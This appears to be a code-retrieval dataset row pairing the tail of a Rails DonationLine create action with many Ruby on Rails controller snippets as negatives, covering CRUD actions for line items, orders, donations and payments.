format.json { render json: @donation_line, status: :created, location: @donation_line }
else
format.html { render action: "new" }
format.json { render json: @donation_line.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @donation_line = DonationLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def create\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build(params[:payment_line])\n\n respond_to do |format|\n if @payment_line.save\n format.html { redirect_to([@payment_line.payment, @payment_line], :notice => 'Payment line was successfully created.') }\n format.json { render :json => @payment_line, :status => :created, :location => [@payment_line.payment, @payment_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @payment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to @line, notice: \"Line was successfully created.\" }\n format.json { render :show, status: :created, location: @line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def destroy\n @donation_line = DonationLine.find(params[:id])\n @donation_line.destroy\n\n respond_to do |format|\n format.html { redirect_to donation_lines_url }\n format.json { head :ok }\n end\n end",
"def create\n @line = Line.new(line_params)\n @line.user = current_user\n @line.diagram = @diagram\n @line.node = @node\n\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully created.' }\n format.json { render :show, status: :created, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :new }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def create\n @line = Line.new(params[:line])\n @line.budget_id = params[:budget_id]\n @budget = @line.budget\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to budget_path(@budget), notice: 'Line was successfully created.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n if @donation_line.update_attributes(params[:donation_line])\n format.html { redirect_to @donation_line, notice: 'Donation line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @donation_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = @order.line_items.new(line_item_params)\n\n if @line_item.save\n render json: @line_item, status: :created, location: [@order, @line_item]\n else\n render json: @line_item.errors, status: :unprocessable_entity\n end\n end",
"def create\n @order_line = OrderLine.new(params[:order_line])\n\n respond_to do |format|\n if @order_line.save\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render json: @order_line, status: :created, location: @order_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_detail = LineDetail.new(line_detail_params)\n generate_id\n respond_to do |format|\n if @line_detail.save\n format.html { redirect_to @line_detail, notice: 'Line detail was successfully created.' }\n format.json { render action: 'show', status: :created, location: @line_detail }\n else\n format.html { render action: 'new' }\n format.json { render json: @line_detail.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:next_node_id, :description)\n end",
"def create\n @line = Line.new(line_params)\n\n respond_to do |format|\n if @line.save\n format.html { redirect_to new_line_path, notice: 'Line was successfully created. 5 points are awarded to your score.' }\n format.json { render json: @line, status: :created, location: @line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @budget_line = BudgetLine.new(budget_line_params)\n\n respond_to do |format|\n if @budget_line.save\n format.html { redirect_to @budget_line, notice: 'Budget line was successfully created.' }\n format.json { render :show, status: :created, location: @budget_line }\n else\n format.html { render :new }\n format.json { render json: @budget_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @payment_line }\n end\n end",
"def new\n @sundry_grn = SundryGrn.new\n\n 3.times do\n line= @sundry_grn.line_items.build\n end\n\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @sundry_grn }\n end\n end",
"def create\n @translated_line = TranslatedLine.new(translated_line_params)\n\n respond_to do |format|\n if @translated_line.save\n @translated_lines = TranslatedLine.where(translation_code: @translated_line.translation_code)\n format.html { redirect_to @translated_line, notice: 'Translated line was successfully created.' }\n format.js {}\n format.json { render :show, status: :created, location: @translated_line }\n else\n format.html { render :new }\n format.js {}\n format.json { render json: @translated_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @textline = Textline.new(textline_params)\n\n respond_to do |format|\n if @textline.save\n format.html { redirect_to @textline, notice: 'Textline was successfully created.' }\n format.json { render :show, status: :created, location: @textline }\n else\n format.html { render :new }\n format.json { render json: @textline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:inspection_line).permit(:id, :inspection_id, :line_id)\n end",
"def collect_order_line(shop_id, order_id, order_line)\n request(:post, \"shops/#{shop_id}/orders/#{order_id}/order_lines\", body: order_line).tap do |response|\n raise InvalidResponse, response.body unless response.status == 201\n end\n end",
"def create\n @sample_line = SampleLine.new(params[:sample_line])\n\n respond_to do |format|\n if @sample_line.save\n format.html { redirect_to @sample_line, notice: 'Sample line was successfully created.' }\n format.json { render json: @sample_line, status: :created, location: @sample_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @sample_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def account_lines opts={}\n params ={\n account: opts.delete(:account) || client_account,\n ledger: :current\n }.merge!(opts)\n post :account_lines, params\n end",
"def create\n @invent_journal_line = InventJournalLine.new(params[:invent_journal_line])\n\n respond_to do |format|\n if @invent_journal_line.save\n format.html { redirect_to @invent_journal_line, notice: 'Invent journal line was successfully created.' }\n format.json { render json: @invent_journal_line, status: :created, location: @invent_journal_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @invent_journal_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @storyline = Storyline.new(params[:storyline])\n @start_id = params[:start_id]\n rand_prev = params[:randomize].blank? ? nil : @storyline.prev\n @first_line, @storyline, lines, ids = insert_lines @storyline\n respond_to do |format|\n if @storyline.save\n format.js\n format.html { redirect_to storyline_path(@first_line, :prev_end => rand_prev), notice: 'Storyline was successfully created.' }\n format.json { render json: [@first_line], status: :created, location: @first_line }\n else\n format.js\n format.html { render action: \"new\" }\n format.json { render json: @storyline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @applied_line = AppliedLine.new(applied_line_params)\n\n respond_to do |format|\n if @applied_line.save\n format.html { redirect_to @applied_line, notice: 'Applied line was successfully created.' }\n format.json { render :show, status: :created, location: @applied_line }\n else\n format.html { render :new }\n format.json { render json: @applied_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @code_line = CodeLine.new(code_line_params)\n\n respond_to do |format|\n if @code_line.save\n format.html { redirect_to @code_line, notice: 'Code line was successfully created.' }\n format.json { render :show, status: :created, location: @code_line }\n else\n format.html { render :new }\n format.json { render json: @code_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:name, :diversion_rate)\n end",
"def create\n @item_line = ItemLine.new(params[:item_line])\n\n respond_to do |format|\n if @item_line.save\n format.html { redirect_to @item_line, notice: 'Item line was successfully created.' }\n format.json { render json: @item_line, status: :created, location: @item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_detail_params\n params.require(:line_detail).permit(:title, :description, :line_id, :country_id)\n end",
"def line_params\r\n params.require(:line).permit(:name)\r\n end",
"def invoice_params\n params.require(:invoice).permit(lines_attributes: [:id, :costs])\n end",
"def show\n @donation_line = DonationLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @donation_line }\n end\n end",
"def create\n @liquidation_form_line = LiquidationFormLine.new(liquidation_form_line_params)\n\n respond_to do |format|\n if @liquidation_form_line.save\n format.html { redirect_to @liquidation_form_line, notice: 'Liquidation form line was successfully created.' }\n format.json { render :show, status: :created, location: @liquidation_form_line }\n else\n format.html { render :new }\n format.json { render json: @liquidation_form_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_item = LineItem.new(params[:line_item])\n\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to @line_item, notice: 'Line item was successfully created.' }\n format.json { render json: @line_item, status: :created, location: @line_item }\n else\n format.html { render action: \"new\" }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create \n @line_item = LineItem.new(line_item_params)\n respond_to do |format|\n if @line_item.save\n format.html { redirect_to '/line_items', notice: \"Line item was successfully created.\" }\n format.json { render :show, status: :created, location: @line_item }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin=Admin.find(current_admin.id)\n @credit_line = @admin.credit_lines.create(params[:credit_line])\n #@credit_line.admin=@admin.id\n respond_to do |format|\n if @credit_line.save\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully created.' }\n format.json { render json: @credit_line, status: :created, location: @credit_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @quote_line = QuoteLine.new(quote_line_params)\n\n respond_to do |format|\n if @quote_line.save\n format.html { redirect_to @quote_line, notice: 'Quote line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @quote_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @quote_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @clothing_line = ClothingLine.new(clothing_line_params)\n\n respond_to do |format|\n if @clothing_line.save\n format.html { redirect_to @clothing_line, notice: 'Clothing line was successfully created.' }\n format.json { render :show, status: :created, location: @clothing_line }\n else\n format.html { render :new }\n format.json { render json: @clothing_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def create\n @labor_cost_line = LaborCostLine.new(params[:labor_cost_line])\n @labor_cost_line.labor_set = @labor_cost\n @laborers = Laborer.scoped\n\n respond_to do |format|\n if @labor_cost_line.save\n format.js {\n @labor_cost_lines = @labor_cost.line_items\n }\n format.html { redirect_to(labor_cost_line_item_path(@labor_cost, @labor_cost_line), :notice => 'Labor cost line was successfully created.') }\n format.xml { render :xml => @labor_cost_line, :status => :created, :location => @labor_cost_line }\n else\n format.js\n format.html { render :action => \"new\" }\n format.xml { render :xml => @labor_cost_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @phone_line = PhoneLine.new(phone_line_params)\n\n respond_to do |format|\n if @phone_line.save\n format.html { redirect_to phone_lines_url, notice: 'Phone line was successfully created.' }\n format.json { render :show, status: :created, location: @phone_line }\n else\n format.html { render :new }\n format.json { render json: @phone_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @batting_line = BattingLine.new(params[:batting_line])\n\n respond_to do |format|\n if @batting_line.save\n format.html { redirect_to @batting_line, notice: 'Batting line was successfully created.' }\n format.json { render json: @batting_line, status: :created, location: @batting_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @batting_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lineup = Lineup.new(params[:lineup])\n\n respond_to do |format|\n if @lineup.save\n format.html { redirect_to @lineup, notice: 'Lineup was successfully created.' }\n format.json { render json: @lineup, status: :created, location: @lineup }\n else\n format.html { render action: \"new\" }\n format.json { render json: @lineup.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @order_line = OrderLine.new(order_line_params)\n \n if @order_line.order_id.nil?\n @order_line.order_id = current_order.id\n @order_line.value = @order_line.product.price*@order_line.quantity\n @order_line.status = OrderLine.status_requested\n end\n respond_to do |format|\n if @order_line.save\n # inform client\n WebsocketRails['order_lines_'+@order_line.order.id.to_s].trigger 'new', {:order => @order_line.order, :order_line => @order_line, :product => @order_line.product}\n format.html { redirect_to @order_line, notice: 'Order line was successfully created.' }\n format.json { render :show, status: :created, location: @order_line }\n else\n format.html { render :new }\n format.json { render json: @order_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @purchase_order_item_line = PurchaseOrderItemLine.new(params[:purchase_order_item_line])\n\n respond_to do |format|\n if @purchase_order_item_line.save\n format.html { redirect_to @purchase_order_item_line, notice: 'Purchase order item line was successfully created.' }\n format.json { render json: @purchase_order_item_line, status: :created, location: @purchase_order_item_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @purchase_order_item_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:name, :description, :user_id, :board_id)\n end",
"def cow_order\n @order = Order.new\n @order.lines.build\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order }\n end\n end",
"def create\n @contract_service_line = ContractServiceLine.new(contract_service_line_params)\n\n respond_to do |format|\n if @contract_service_line.save\n format.html { redirect_to @contract_service_line, notice: 'Contract service line was successfully created.' }\n format.json { render :show, status: :created, location: @contract_service_line }\n else\n format.html { render :new }\n format.json { render json: @contract_service_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @invoice_adjustment_line = InvoiceAdjustmentLine.new(params[:invoice_adjustment_line])\n\n respond_to do |format|\n if @invoice_adjustment_line.save\n flash[:notice] = 'InvoiceAdjustmentLine was successfully created.'\n format.html { redirect_to(@invoice_adjustment_line) }\n format.xml { render :xml => @invoice_adjustment_line, :status => :created, :location => @invoice_adjustment_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @invoice_adjustment_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @shipping_line = ShippingLine.new(shipping_line_params)\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, notice: \"Shipping line was successfully created.\" }\n format.json { render :show, status: :created, location: @shipping_line }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @shipping_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def orders_create_discount_line_with_http_info(id, order_discount_lines_request, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DiscountsApi.orders_create_discount_line ...'\n end\n # verify the required parameter 'id' is set\n if @api_client.config.client_side_validation && id.nil?\n fail ArgumentError, \"Missing the required parameter 'id' when calling DiscountsApi.orders_create_discount_line\"\n end\n # verify the required parameter 'order_discount_lines_request' is set\n if @api_client.config.client_side_validation && order_discount_lines_request.nil?\n fail ArgumentError, \"Missing the required parameter 'order_discount_lines_request' when calling DiscountsApi.orders_create_discount_line\"\n end\n allowable_values = [\"es\", \"en\"]\n if @api_client.config.client_side_validation && opts[:'accept_language'] && !allowable_values.include?(opts[:'accept_language'])\n fail ArgumentError, \"invalid value for \\\"accept_language\\\", must be one of #{allowable_values}\"\n end\n # resource path\n local_var_path = '/orders/{id}/discount_lines'.sub('{' + 'id' + '}', CGI.escape(id.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/vnd.conekta-v2.1.0+json'])\n # HTTP header 'Content-Type'\n content_type = @api_client.select_header_content_type(['application/json'])\n if !content_type.nil?\n header_params['Content-Type'] = content_type\n end\n header_params[:'Accept-Language'] = opts[:'accept_language'] if !opts[:'accept_language'].nil?\n header_params[:'X-Child-Company-Id'] = opts[:'x_child_company_id'] if !opts[:'x_child_company_id'].nil?\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body] || @api_client.object_to_http_body(order_discount_lines_request)\n\n # return_type\n return_type = opts[:debug_return_type] || 'DiscountLinesResponse'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['bearerAuth']\n\n new_options = opts.merge(\n :operation => :\"DiscountsApi.orders_create_discount_line\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:POST, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DiscountsApi#orders_create_discount_line\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end",
"def add_line_details(line_doc)\n id = parse_xml(line_doc/'id') if (line_doc/'id').first\n line = bank_transaction_lines.find_or_build(id) if line_doc.name == 'bank_transaction_line'\n if line\n line.apply_attributes(line_doc) \n line.fill_default_detail_values\n self.max_serial_no = line.serial_no = (self.max_serial_no.to_i + 1).to_s if line.new_record?\n end\n line\n end",
"def create\n @order = Order.new(order_params)\n @order.add_line_items_from_cart(@cart)\n @order.donor_id = current_donor.id\n @order.price = @cart.total_price\n respond_to do |format|\n if @order.save\n @order.line_items.each do |line|\n thing = Product.find(line.product_id)\n thing.sold = true\n thing.save\n end\n token = params[:stripeToken]\n @amount = @cart.total_price.to_i*100\n\n charge = Stripe::Charge.create({\n amount: @amount,\n currency: 'aud',\n description: 'Example charge',\n source: token,\n \n })\n \n Order.new[:params]\n\n redirect_to controller: 'orders', action: 'show', id: Order.last.id\n\n\n Cart.destroy(session[:cart_id])\n session[:cart_id]\n format.html \n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n params[:customer_quote_line][:item_name_sub] = params[:alt_name_id]\n @customer_quote_line = @customer_quote.customer_quote_lines.build(customer_quote_line_params)\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.save\n format.html { redirect_to new_customer_quote_customer_quote_line_path(@customer_quote), :notice => 'Customer quote line was successfully created.' }\n format.json { render :json => @customer_quote_line, :status => :created, :location => [@customer_quote_line.customer_quote, @customer_quote_line] }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:user_id, :verb_id, :start_time, \n :note, :object, :people, :photo, :place, :price, :url)\n end",
"def create\n @cruise_line = CruiseLine.new(cruise_line_params)\n\n respond_to do |format|\n if @cruise_line.save\n format.html { redirect_to @cruise_line, notice: 'Cruise line was successfully created.' }\n format.json { render :show, status: :created, location: @cruise_line }\n else\n format.html { render :new }\n format.json { render json: @cruise_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_up = LineUp.new(line_up_params)\n\n respond_to do |format|\n if @line_up.save\n format.html { redirect_to @line_up, notice: 'Line up was successfully created.' }\n format.json { render :show, status: :created, location: @line_up }\n else\n format.html { render :new }\n format.json { render json: @line_up.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_params\n params.require(:line).permit(:buyer, :description, :unit_price, :quantity, :total, :address, :supplier, :attchment_id)\n params[\"line\"][\"total\"] = (params[\"line\"][\"unit_price\"].to_f * params[\"line\"][\"quantity\"].to_f).to_s\n params.require(:line).permit(:buyer, :description, :unit_price, :quantity, :total, :address, :supplier, :attchment_id)\n end",
"def create\n @shipping_line = ShippingLine.new(params[:shipping_line])\n\n respond_to do |format|\n if @shipping_line.save\n format.html { redirect_to @shipping_line, :notice => 'Shipping line was successfully created.' }\n format.json { render :json => @shipping_line, :status => :created, :location => @shipping_line }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @shipping_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n line_items = params[:delivery].has_key?(:line_items) ? params[:delivery].delete(:line_items) : []\n @delivery = Delivery.new(params[:delivery])\n @delivery.comments.build(params[:comment]) if params[:comment] && !params[:comment][:body].blank?\n line_items.each{ |l| @delivery.line_items.build(l) } unless line_items.empty?\n if @delivery.save\n flash[:notice] = \"Successfully created delivery.\"\n if @delivery.print_after_save\n redirect_to delivery_path(@delivery, :format => :pdf)\n else\n redirect_to @delivery\n end\n else\n render :action => 'new'\n end\n end",
"def create\n @product_line = ProductLine.new(params[:product_line])\n\n respond_to do |format|\n if @product_line.save\n format.html { redirect_to @product_line, notice: 'Product line was successfully created.' }\n format.json { render json: @product_line, status: :created, location: @product_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @product_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @lineamiento = Lineamiento.new(lineamiento_params)\n\n respond_to do |format|\n if @lineamiento.save\n format.html { redirect_to @lineamiento, notice: 'Lineamiento was successfully created.' }\n format.json { render :show, status: :created, location: @lineamiento }\n else\n format.html { render :new }\n format.json { render json: @lineamiento.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @donation = Donation.new(params[:donation])\n\n respond_to do |format|\n if @donation.save\n format.html { redirect_to @donation, :notice => 'Donation was successfully created.' }\n format.json { render :json => @donation, :status => :created, :location => @donation }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @donation.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @package_line = PackageLine.new(package_line_params)\n\n respond_to do |format|\n if @package_line.save\n format.html { redirect_to @package_line, notice: 'Package line was successfully created.' }\n format.json { render :show, status: :created, location: @package_line }\n else\n format.html { render :new }\n format.json { render json: @package_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @linea = Linea.new(params[:linea])\n\n respond_to do |format|\n if @linea.save\n format.html { redirect_to(@linea, :notice => 'Linea creada correctamente.') }\n format.xml { render :xml => @linea, :status => :created, :location => @linea }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @linea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @line_group = LineGroup.new(line_group_params)\n\n respond_to do |format|\n if @line_group.save\n format.html { redirect_to @line_group, notice: 'Line group was successfully created.' }\n format.json { render :show, status: :created, location: @line_group }\n else\n format.html { render :new }\n format.json { render json: @line_group.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @line_liver = LineLiver.new(line_liver_params)\n\n respond_to do |format|\n if @line_liver.save\n format.html { redirect_to @line_liver, notice: 'Line liver was successfully created.' }\n format.json { render :show, status: :created, location: @line_liver }\n else\n format.html { render :new }\n format.json { render json: @line_liver.errors, status: :unprocessable_entity }\n end\n end\n end",
"def lineitem_params\n params.require(:lineitem).permit(:line_part, :line_order, :line_name, :line_price, :line_notes)\n end",
"def create\n @newsline = Newsline.new(newsline_params)\n\n respond_to do |format|\n if @newsline.save\n format.html { redirect_to @newsline, notice: 'Newsline was successfully created.' }\n format.json { render :show, status: :created, location: @newsline }\n else\n format.html { render :new }\n format.json { render json: @newsline.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n line_item1 = PledgeLineItem.create(:amount => params[:amount0])\n line_item2 = PledgeLineItem.create(:amount => params[:amount1])\n @pledge.pledge_line_items = [line_item1, line_item2]\n @pledge.user = current_user\n @pledge.organization = Organization.find(params[:org])\n\n respond_to do |format|\n if @pledge.save\n flash[:notice] = 'Pledge was successfully created.'\n format.html { redirect_to(@pledge) }\n format.xml { render :xml => @pledge, :status => :created, :location => @pledge }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @pledge.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def save_lines\n detail_lines.save_line \n end",
"def create\n @donation = Donation.new(params[:donation])\n\n respond_to do |format|\n if @donation.save\n format.html { redirect_to donations_path, notice: 'Donation was successfully created.' }\n #format.json { render json: @donation, status: :created, location: @donation }\n else\n format.html { render action: \"new\" }\n #format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @donation = Donation.new(donation_params)\n\n respond_to do |format|\n if @donation.save\n format.html { redirect_to donations_url, notice: 'Donation was successfully added.' }\n format.json { render :show, status: :created, location: @donation }\n else\n format.html { render :new }\n format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_line_item_for_per_person_charge qty, vendor_id, notes\n event_vendor = event_vendors.where(:vendor_id => vendor_id).first\n new_line_items = create_line_item_for_per_person_charge_2(event_vendor.participation, event_vendor, true, true, \"\")\n line_items.push(new_line_items)\n new_line_items\n end",
"def translated_line_params\n params.require(:translated_line).permit(:translation_code, :description)\n end",
"def receipt_params\n params.require(:receipt).permit(:closed, line_items_attributes: [:id, :name, :usage, :refunded, :amount, :_destroy])\n end",
"def update\n @line.attributes = line_params\n respond_to do |format|\n if @result = @line.valid?\n begin\n Line.transaction do\n @line.save!\n end\n format.html { redirect_to @line, notice: 'Line was successfully updated.' }\n format.json { render :show, status: :ok, location: @line }\n format.js\n rescue => e\n render :text => e.message\n end\n else\n format.html { render :edit }\n format.json { render json: @line.errors, status: :unprocessable_entity }\n format.js\n end\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def payment_receipt\n mandrill = Mandrill::API.new Rails.application.secrets.mandrill_api_key\n\n event_json = JSON.parse(request.body.read) # event data from Stripe\n\n if event_json[\"type\"] != \"invoice.payment_succeeded\"\n render json: {}, status: 400\n else\n donor = Donor.find_by(stripe_customer_id: event_json[\"data\"][\"object\"][\"customer\"])\n donor = Donor.find_by(stripe_customer_id: \"cus_AT3dv800viOsas\") unless donor # @TODO: remove once fully test -- used for integration environment tests temporarily\n DonorMailer.stripe_payment_receipt(donor).deliver_now if donor && event_json[\"data\"][\"object\"][\"amount_due\"].to_i != 0\n render json: {}, status: 200\n end\n end",
"def create\n @linehaul = Linehaul.new(linehaul_params)\n\n respond_to do |format|\n if @linehaul.save\n format.html { redirect_to linehauls_path, notice: 'Linehaul was successfully created.' }\n format.json { render :show, status: :created, location: @linehaul }\n else\n format.html { render :new }\n format.json { render json: @linehaul.errors, status: :unprocessable_entity }\n end\n end\n end",
"def new\n @line = Line.new\n authorize! :new, @line\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def clothing_line_params\n params.require(:clothing_line).permit(:name, :tag_line, :description, :user_id)\n end",
"def create_xero_line_items(lines)\n lines.map do |(account, country, tax_rate), amounts|\n xero_tax_rate = find_or_create_tax_rate(country, tax_rate)\n\n if xero_tax_rate.nil?\n raise Error, \"Could not determine tax rate for #{country} (#{tax_rate})\"\n end\n\n {\n 'Description' => @proposal.invoice_line_description(account, country, tax_rate),\n 'Quantity' => 1,\n 'AccountCode' => account,\n 'TaxAmount' => amounts[:tax],\n 'LineAmount' => amounts[:amount],\n 'TaxType' => xero_tax_rate,\n 'Tracking' => tracking_options\n }\n end\n end",
"def quote_line_params\n params.require(:quote_line).permit(:qty, :discount, :product_id, :new_description, :quote_id)\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def create\n @journal_line = JournalLine.new(params[:journal_line])\n\n respond_to do |format|\n if @journal_line.save\n flash[:notice] = 'JournalLine was successfully created.'\n format.html { redirect_to(@journal_line) }\n format.xml { render :xml => @journal_line, :status => :created, :location => @journal_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @journal_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def create\n @order = Order.new(:customer_id => order_params[:customer_id])\n\n order_params[:line_items].each do |item|\n if !item.empty?\n @order.line_items.new(:product_id => item, :order_id => @order.id)\n @order.update(cost: @order.cost + @order.line_items[0].product.price)\n end\n end\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to @order, notice: 'Order was successfully created.' }\n format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n if current_user.current_order\n @order = current_user.current_order\n else\n last_order = Order.last\n order_no = \"\"\n if last_order\n order_no = last_order.order_no\n order_no = \"A#{\"#{(order_no[/\\d+/].to_i + 1)}\".rjust(5,'0')}\"\n else\n order_no = \"A#{\"1\".rjust(5,'0')}\"\n end\n\n @order = current_user.orders.build(order_no: order_no, date: Time.now, closed: false)\n end\n product = Product.where(id: order_line_params[:product_id]).first\n merged = order_line_params.merge({:unit_price => product.price, :total_price => product.price * order_line_params[:qty].to_i})\n @order.order_lines.build(merged)\n\n respond_to do |format|\n if @order.save\n format.html { redirect_to products_path, notice: 'Order line was successfully created.' }\n else\n format.html { render :new }\n end\n end\n end",
"def create\n parent_line_item = get_parent_line_item\n if parent_line_item\n @line_item = parent_line_item.dup\n @line_item.line_item = parent_line_item\n @line_item.searchable = false\n @line_item.admin_verified = false\n @line_item.section_id = line_item_params[\"section_id\"]\n else\n @line_item = LineItem.new(line_item_params);\n end\n\n if @line_item.save\n render json: @line_item, status: :created, location: @line_item\n else\n render nothing: true, status: :bad_request\n end\n end",
"def line_params\n params.require(:procedure_line).permit(:id, :procedure_id, :line_id)\n end",
"def create\n @trade_line = TradeLine.new(trade_line_params)\n\n respond_to do |format|\n if @trade_line.save\n format.html { redirect_to @trade_line, notice: 'Trade line was successfully created.' }\n format.json { render action: 'show', status: :created, location: @trade_line }\n else\n format.html { render action: 'new' }\n format.json { render json: @trade_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create_service_line\n @service_line = ServicePaymentEob.new(:details=>{:date_of_service_from_ocr_output=>\"\"})\n @insurance_payment_eob.service_payment_eobs << @service_line\n @service_line.save(:validate => false)\n return @service_line\n end",
"def order_line_params\n params.require(:order_line).permit(:order_id, :product_id, :quantity, :value, :status)\n end",
